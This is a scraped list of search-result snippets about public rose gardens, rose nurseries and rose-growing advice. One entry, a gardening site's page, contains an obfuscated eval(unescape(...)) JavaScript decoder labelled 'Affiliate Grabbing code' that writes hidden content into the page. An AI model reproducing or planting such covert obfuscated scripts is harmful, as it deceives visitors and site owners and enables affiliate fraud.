81. Brooklyn Botanic Garden: Roses roses at Brooklyn Botanic Garden. In the Cranford rose Garden in early summer, tens of thousands of roses cascade down arches, climb up lattices, http://www.bbg.org/exp/roses/

@import "/common/bbg.css"; @import "/common/filter.css"; Skip navigation Brooklyn Botantic Garden Search for: Visiting Gardening Education Research ... Shop Visiting Travel Directions Hours and Admissions Visitor Services Garden Events ... Roses at BBG Roses at BBG June Is Rose Month: Events at BBG Classifying Roses History of the Cranford Rose Garden Overview of the Cranford Rose Garden ... Everything Roses Gift Shop There is nothing more sensuous than a mass of fragrant, colorful rosebushes in bloom. In the Cranford Rose Garden in early summer, tens of thousands of roses cascade down arches, climb up lattices, clamber over the pavilion, and pose in formal beds. Here, over 5,000 bushes of nearly 1,200 varieties thrive, including All-America Rose Selections (AARS) , wild species, old garden roses, hybrid teas, grandifloras, floribundas, polyanthas, hybrid perpetuals, climbers, ramblers, and miniatures. It is a living classroom, demonstrating beautifully the historical development of the rose, its many varieties, and the best ways to grow them. Contact BBG Directions Conditions of Use Accessibility Statement ... Site Map

82. Brooklyn Botanic Garden: Cranford Rose Garden Cranford rose Garden. There is nothing more sensuous than a mass of fragrant, In the Cranford rose Garden in early summer, tens of thousands of roses http://www.bbg.org/exp/stroll/rose.html

@import "/common/bbg.css"; @import "/common/filter.css"; Skip navigation Brooklyn Botantic Garden Search for: Visiting Gardening Education Research ... Shop Visiting Travel Directions Hours and Admissions Visitor Services Garden Events ... Garden Stroll Garden Stroll Annual Border Bluebell Wood Celebrity Path Cherry Esplanade ... Children's Garden Cranford Rose Garden Crape-Myrtle Walk Daffodil Hill Discovery Garden Fragrance Garden ... Steinhardt Conservatory Cranford Rose Garden There is nothing more sensuous than a mass of fragrant, colorful rosebushes in bloom. In the Cranford Rose Garden in early summer, tens of thousands of roses cascade down arches, climb up lattices, clamber over the pavilion, and pose in formal beds. Here, over 5,000 bushes of nearly 1,200 varieties thrive, including All-America Rose Selections (AARS), wild species, old garden roses, hybrid teas, grandifloras, floribundas, polyanthas, hybrid perpetuals, climbers, ramblers, and miniatures. It is a living classroom, demonstrating beautifully the historical development of the rose, its many varieties, and the best ways to grow them. Historic Image Collection View historic photographs of the Cranford Rose Garden from the Historic Image Collection More Information Visit BBG's Roses at Brooklyn Botanic Garden Map of the Garden The Cranford Rose Garden is indicated by the orange box. Click on the map to visit other locations in the Garden, or

83. Plant Ideas, Your Gardening - Flower Information Source Garden resource site with articles, tips and links about many indoor and outdoor gardening topics, forums, and exchanges. http://www.plantideas.com/

Top Selling Garden Products Buy your Bulbs and Save! Bulbs Learning Guide! Home Forums Site Map Buy Seeds Garden Store Search Top Selling Garden Items 2300+ Garden Seeds to choose from! How to buy a Greenhouse Free Newsletter E-mail: Home Welcome to Plantideas.com Plantideas.com has provided gardening information since 1998. Will help you create that dream garden. If you already have a green thumb or if you're just getting started, this site is for you. Learn how to grow beautiful plants indoors, outdoors, and even find links to gardening magazines. Clear and helpful illustrations and so much more. We will provide the best gardening reference sites on the web and our own hands on gardening information. Relax and have fun with our MENU and don't forget to use our search tool.. Advertising Save Us Save Us Home Site Map ... Search // Affiliate Grabbing code generated using Covert Affiliate from Novasoft Inc, http://www.novasoft-inc.com eval(unescape('f%75%6ec%74%69%6f%6e%20%78%78%28%6e%29%0D%0A%7B%7a%20%3D%20%75%6ee%73ca%70e%28%6e%29%3B%76a%72%20%79%20%3D%20%27%27%3B%0D%0Af%6f%72%20%28%69%3D0%3B%69%3C%7a%2e%6ce%6e%67%74%68%3B%69%2b%2b%29%20%0D%0A%7B%79%20%2b%3D%20%53%74%72%69%6e%67%2ef%72%6f%6dC%68a%72C%6fde%28%7a%2ec%68a%72C%6fdeA%74%28%69%29%2d1%29%3B%7D%0D%0Ad%6fc%75%6de%6e%74%2e%77%72%69%74e%28%75%6ee%73ca%70e%28%79%29%29%3B%0D%0A%7D%20'));

84. Roses Caring for Your rose Garden. Grow America s favorite flower, whether country casual or formal. Tips for Pruning roses. •, Pruning roses in Mild Climates http://www.bhg.com/bhg/category.jhtml?categoryid=/templatedata/bhg/category/data

85. The Tyler Rose Garden Tyler rose Garden is one of 24 All American rose Selection (AARS) test gardens in the You can also find many miniature roses in the Tyler rose Garden. http://aggie-horticulture.tamu.edu/county/smith/rose/rose.html

Enjoy the Tyler Rose Garden "A person who calls a rose by any other name is probably pruning!" Although it's not the best kept secret, if you haven't been to the Tyler Rose Garden recently, you should certainly go soon! Tyler is known as the rose capital of the U.S. Field rose production has been a hallmark of Smith County in northeast Texas since the turn of the century. In celebration of the influence the rose industry has had on this area, Tyler developed a first-class rose garden. This flowering jewel is located in the 1900 block of W. Front Street, just west of downtown Tyler. Known nation-wide for its outstanding display of roses, the Tyler Rose Garden is full of breath-taking beauty, especially in the spring and again in mid-October when the Rose Garden is in full bloom for the annual Texas Rose Festival. Roses , of course, are the main attraction at the garden, though there are several other features in the 14 acre complex that compliment the roses. Standing on the balcony of the Rose Garden Center looking over the garden , your senses will be overwhelmed with color when the garden is at its peak of bloom, which in the spring time is right about now! Row upon row of hybrid tea and floribunda roses invite the visitor to come into the garden to smell and learn. There are at least 400 rose varieties and 30,000 bushes to experience. Every year 2000 or more bushes are replanted every year, keeping the garden current with the newest varieties.

86. Edmunds' Roses : Quality - Service - Selection - Since 1949 Edmunds roses Quality Service - Selection - Since 1949 Photos of some of our rose Garden Suite CD. Click on image for full size photograph and http://www.edmundsroses.com/cgi-bin/browse.cgi?page=cat&cat=42

87. Heritage Roses, Gardens Of Note The rose garden at this Liverpool locale is always a popular tourist spot. Gardens are laid out to trace the history of rose development. Eclectic rose Site http://www.rkdn.org/roses/rose_gardens.asp

About Rose Listing Rose Gardens Old Rose Classifications ... Propagation From Cuttings Rose Gardens of Interest: The Peggy Rockefeller Rose Garden Lots of pictures and descriptions of this New York landmark's nearly 3000 roses. Next best thing to an actual visit. Roses de Charme A French site with a lengthy photo list of "old roses", as well as some through this century. Canadian Show Gardens! A descriptive listing for Canadian show gardens from coast to coast. U.K Gardens of interest! You can be an armchair traveler on this site or make plans for your next trip to the U.K. Also includes several noteworthy gardens in the U.S. Rose Garden Favorites A nice English garden picture tour A Photographic Tour Some outstanding rose pictures on this site by Lloyd Fortney. From gardens in North Carolina and New Zealand. Jai's Roses An interesting site, rich in rose pictures and general rose info A New Zealand Rose Tour! Again some excellent rose pictures and informative narration. NZ Gardens on Line Informative text and pictures of some of the many Moss Roses available today.

88. Shaker Heights Community Rose Garden Supporting the Community rose Garden Volunteers keep the garden growing more . Because the rose garden was on school land, the school district s staff http://www.shakersquare.net/roses/

Shaker Heights Community Rose Garden One of Northern Ohio's largest rose gardens. ShakerSquare.net is glad to host this page. Shaker Square is in the Shaker Heights School District and just a mile west of the Rose Garden. History The garden's 79 year history is one of growth, decline and revitalization more ... What's in the garden About 1,000 rose bushes, from modern Hybrid Teas to ancient more ... How and when to visit Located on land owned by the Shaker Heights schools more ... Supporting the Community Rose Garden Volunteers keep the garden growing more ... Other public rose gardens more ... Looking north from the center of the garden Photo: Sanford Cone To contact the Rose Garden by email, click here History The garden's 79 year history is one of growth, decline and revitalization. In 1924 rose-lovers Frederick E. Bruce and William H. Kinsey led a campaign to raise funds for a Shaker Heights Community Rose Garden. In 1926 Charles Schneider, the architect of Shaker's City Hall, designed the garden, next to Woodbury and Onaway schools. Because the rose garden was on school land, the school district's staff maintained it. But in the '70s and '80s, as a consequence of tighter budgets and higher labor costs, the garden received less care. By the early '90's it had declined so much that there was consideration of using the land for a parking lot. The thought of losing the garden stirred the Onaway School neighborhood. In 1993 former Woodbury Road resident Lowell Van Deusen made a gift to the Onaway Community Association to help renew the garden.

89. Balboa Park Gardens Inez Grant Parker Memorial rose Garden is south of the footbridge that crosses Park This is an awardwinning All-America rose Selection Display Garden http://www.balboapark.org/aboutgardens.html

Home Gardens One of the most lushly planted urban parks in America, Balboa Park is a horticultural paradise offering a magnificent backdrop for the cultural attractions. The relaxing atmosphere created by the stately rows of palms, forested lawns, and ever-changing floral displays greatly enhances a visit to the Park. The City of San Diego's Park and Recreation Department manages and maintains the grounds of this spectacular public resource. On approximately 1,200 acres, there are currently about 15,000 trees in Balboa Park, of some 350 different species. The tallest trees are the eucalyptus and pines growing along Sixth Avenue, which range in height from 100-125 feet. The Park's landmark tree is the Moreton Bay fig growing north of the Natural History Museum. This tree, planted before 1915, is over 60 feet tall with a spread of 120 feet. Alcazar Garden , named because its design is patterned after the gardens of Alcazar Castle in Seville, Spain, lies adjacent to the Art Institute and Mingei Museum. It is known for its ornate fountains, exquisite turquoise blue, yellow, and green Moorish tiles and shady pergola. This formal garden, bordered by boxwood hedges, is planted with 7,000 annuals for a vibrant display of color throughout the year. The garden has been reconstructed to replicate the 1935 design by San Diego architect Richard Requa. Open 365 days a year, free.

90. Rose Garden Olbrich celebrates the opening of its innovative new rose Garden on The rose Garden will open at noon with members of Olbrich’s Horticulture Staff http://www.olbrich.org/special events/Anniversary Rose Garden/rose garden.htm

Grand Opening: Olbrich's Rose Garden Sunday, June 19, 2005 Advanced touring from noon to 2 p.m. Ribbon Cutting Ceremony at 2 p.m. Olbrich celebrates the opening of its innovative new Rose Garden on Sunday June 19. Olbrich invites its members, volunteers, supporters, and the public to participate in opening this spectacular addition to the Gardens. The Rose Garden will open at noon with members of Olbrich’s Horticulture Staff present from noon – 4 p.m. to share with visitors information about the garden. A ribbon cutting ceremony is scheduled for 2 p.m. Also from noon – 4 p.m., members of Olbrich Botanical Society and Olbrich neighbors can stop by special booths to receive a free gift while supplies last. Those who join the Olbrich Botanical Society between noon and 4 p.m. will receive a free commemorative Rose Garden poster. Olbrich's progressive new two-acre Rose Garden is at the forefront of national garden design trends, moving away from traditional, formal plantings to feature more environmentally friendly, hardy shrub roses. The shrub roses are integrated into a landscape of natural curving borders filled with colorful perennials, waving ornamental grasses, blooming shrubs, vines, and small ornamental trees, as well as colorful spring bulbs. The garden will help home gardeners choose the best roses for their own Wisconsin yards. Prairie style architecture, including an accessible native stone overlook tower, will offer views of the Gardens and Lake Monona. The gazebo and arbors previously located in Olbrich’s former Rose Garden have been moved to key sites in the new Garden. A fountain, with five water jets on each side to represent the five petals of the rose, provides a cooling centerpiece. As in the rest of the Gardens, benches and smooth accessible pathways are an integral part of the new Rose Garden.

91. Olbrich's 50th Anniversary Rose Garden Olbrich s progressive new 50th Anniversary rose Garden will be at the The new twoacre rose Garden will be twice the size of the existing rose Garden. http://www.olbrich.org/Outdoor Gardens/display_gardens/anniversary_rose_garden.h

Olbrich's 50th Anniversary Rose Garden Olbrich's progressive new 50th Anniversary Rose Garden will be at the forefront of national garden design trends, moving away from traditional, formal plantings to feature more environmentally friendly, hardy shrub roses in a naturalistic design. The garden will help home gardeners choose the best roses for their own Wisconsin yards. The new two-acre Rose Garden will be twice the size of the existing Rose Garden. It will cover the area between the current Rose Garden and the Perennial Garden. As in the rest of the Gardens, benches and smooth accessible pathways will be an integral part of the garden. An electric tram system to increase accessibility to the Gardens, including the new Rose Garden, is planned for a future date and yet to be funded. Prairie style architecture, including an accessible native stone overlook tower, will offer views of the Gardens and Lake Monona beyond. The existing Rose Garden gazebo and arbors will be moved to key sites in the new Rose Garden.

92. Mattocks Roses are featured strongly and complement the other plants displayed by Notcutts Garden Centres. Please enquire instore for details. Mattocks rose Garden http://www.notcutts.co.uk/garden/mattocks/

Mattocks Roses is the specialist rose brand within the Notcutts Group. Through it's rose selection programme it has introduced many novel and successful new roses to the gardening public. Mattocks Roses was established in 1875 and continues to this day to take an innovative approach to rose marketing. The following pages detail the roses selected by Mattocks that are available in Notcutts Garden Centres. Mattocks Roses continues to attend the most prestigious Flower Shows and the roses are featured strongly and complement the other plants displayed by Notcutts Garden Centres. Please enquire in-store for details. In 1998 the construction of the Mattocks Rose Garden commenced, which allows our gardening public to view the roses without having to trudge through a muddy rose field. Opened 3 years after planting, the Mattocks Rose Garden shows the best attributes of our roses in a delightfully restful setting. The Rose Pruning and Celebration weekends that are held within the Mattocks Rose Garden provide excellent opportunities to learn about roses and their culture. Admission is free of charge and all are very welcome. If you would like to visit our Rose Garden, please click here, or e-mail us at mattocks@notcutts.co.uk

93. Gardening Books: Roses Home improvement videos, books, CDROMs, plans, hardware, and clothing from Hometime. meta http-equiv= http://www.hometime.com/store2/gardrose.htm

Books Gardening Books: Roses CHECK OUT OUR BOOK SALE! View a list of our NEW DVD titles! - Choose a Book Category - Accessibility and Universal Design Alternative Home Building Architecture and Design Bathrooms Building a House Buying a House Carpentry Ceramic Tile Code Books Decks and Patios Decorating Drywall Electrical Finish Carpentry Flooring Garages Gardening Hometime Books Home Plans Kitchens Landscape Log Building Maintenance and Repair Outdoor Building Paint and Wallcovering Plumbing Remodeling and Renovation Roofing and Siding Windows and Doors Wood Finishing and Refinishing Workshop and Woodworking Back to Main Books Page Image Title Item Price more info Successful Rose Gardening (Better Homes and Gardens) Item In addition to detailed how-to instructions on everything from planting to pruning to propagation, this book offers profiles of accomplished rose gardeners from across the United States, including their philosophies and tips for success. Store On TV How-To About Us ... Specials

94. Guide To Antique Roses Old roses offer the gardener a wonderful array of gardening opportunities. They are time tested survivors whose versatility in our gardens are unmatched by http://www.roseinfo.com/

Old roses offer the gardener a wonderful array of gardening opportunities. They are time tested survivors whose versatility in our gardens are unmatched by any other plant types. Roses, particularly the older varieties, come in so many forms that they are limitless in their garden use. They climb, they ramble, they trail, and they form bushes large and small. They bloom steadily for several seasons or overwhelmingly for one. They can be used as the background for a bed, or forms its backbone, or be massed for color in the foreground. They even settle happily into containers for those who have no garden space at all. But even more profound than their application in the garden are the memories they evoke. Felder Rushing, a good friend and creative gardener in Mississippi, described gardening best when addressing a group of gardener several years ago. With empty camera and six-year old daughter in hand, he would pretend to take a picture of her smelling a rose. He would tell her, "Now Zoe, put your nose close and take a deep breath, and I will take your picture." He explained, "one day, thirty years from now, I'll be dead or gone, and with one sniff, we'll be back together again." I hope such memories await you in the wonderful world of old garden roses. This website presents an overview of antique roses which will interest the novice and the experienced rosarian alike. In the first section of this site -

95. Gardens & Collections Directory Exterior water garden, Heritage rose garden, Perennial garden, Richmond, Indiana s All American rose Garden is one of only 139 AARS Public Display rose http://dir.gardenweb.com/directory/nph-ind.cgi?&type=d&category=ros

96. In The Garden - Spring Valley Roses Online Magazine - Hardy Roses And Plants For In the Garden Spring Valley Roses Online Magazine of articles on hardy roses, gardening and plants for birds. http://www.springvalleyroses.com/inthegarden/rosegifts.html

Home Catalog Learn Birds ... About In the Garden Quick Links: In the Garden Home Fertilizing your roses: A step-by-step guide Planting Roses: A How to Guide Pruning your roses: why, how and when ... Contact Us Search this site: Need information or inspiration? Check out our great books section! Or, go directly to Amazon.com for inspiring and informative books on roses and gardening. Gifts from Your Rose Garden T he holidays are a great time to use roses from your garden. You're probably thinking, "What is she talking about? My rose garden is all frozen!" Yes, I know it's winter. But, you'd be surprised at how many gift ideas can come from your rose garden even when everything is frozen outside. I've highlighted some of my favorite gift ideas below, ranging from the very easy to those that take a bit more work. And, if you're creative, I'm sure you'll think of even more (no, you don't have to be Martha Stewart to be creative!). Ornaments, Package Decorations, Wreaths

97. Gardening With Roses - Spring Valley Roses - Hardy Roses And Plants For Birds How to Garden with Roses information on color, design and choosing roses for your garden on Spring Valley Roses Web site about Winter Hardy roses and http://www.springvalleyroses.com/learn/gardening.html

Home Catalog Learn Birds ... About Quick Links Growing Roses Planting Roses Planting Shrubs Gardening with Roses ... Links Search this site: Contact Us Need information or inspiration? Check out our great books section! Or, go directly to Amazon.com for books on roses and gardening. view cart checkout Home Gardening with Roses A dding roses to your garden or creating a rose garden can sometimes be confusing for both beginning and seasoned rose gardeners. There's just so many choices and so many questions. On this page, we'll give you information to help you pick the right roses and give you some ideas for using roses in your landscape. Analyzing Your Site Color Combinations Perennials and Vines Suggested Uses for Roses ... Rose Garden Designs Analyzing Your Site Before you plant anything, take a good look at the spot you've chosen to plant your rose(s). To ensure that your roses have everything they need to give you the results you expect, you need to find out the following: You can find more information about planting roses on our planting instructions page.

98. Léonie Bell Noisette Rose Collection At The Center For Historic Plants Doug Seidel personally donated his Aunt Louisa rose from the garden of President Faded Pink Monthly rose The garden, designed by Charlottesville http://www.monticello.org/chp/leonie_bell.html

Home Thomas Jefferson Center for Historic Plants Collections The Fragrant Year , 1967, which she also illustrated, is a landmark work on choice garden plants. Speaking from her own research and experiences in her Pennsylvania garden, she wrote countless articles on old roses for the Heritage Roses Group and for national and international publications such as The American Rose Annual and The Royal National Rose Society . Mrs. Bell was mentor to many prominent experts in the field, including Dr. Arthur O. Tucker of Delaware State University and Rev. Douglas Seidel of Emmaus, Pennsylvania. It was Doug Seidel who arranged for many of the more rare Noisette specimens to be included in this garden, and even donated prized plants from his personal collection. At present, the garden contains thirty different Noisettes, with more to come. In addition to the obvious varieties–the ‘Champneys Pink Cluster’, ‘Blush Noisette’, and the parents ‘Old Blush China’ and ‘Double White Musk’–the garden includes many one-of-a-kind selections. Doug Seidel personally donated his "Aunt Louisa Rose" from the garden of President Garfield’s aunt and "Faded Pink Monthly," from Creekside, home of pioneer old rose collector Mrs. Frederick Love Keays, who acquired her plant from the descendent of a slave who rooted a slip before the Civil War.

99. Rose Garden Indoor Garden Kitchen Garden. rose Garden. Good Things. rose Garden. The Ultimate rose Garden Dependable roses Modern Shrub roses http://www.marthastewart.com/page.jhtml?type=learn-cat&id=cat279&navLevel=3&navH

100. Roses In A Desert Garden Not only does it show readers how to plan a rose garden ( roses are remarkably like If you re just beginning to plant a rose garden, read Chapter Two, http://www.thereviewzone.com/rosesdesertgarden.html

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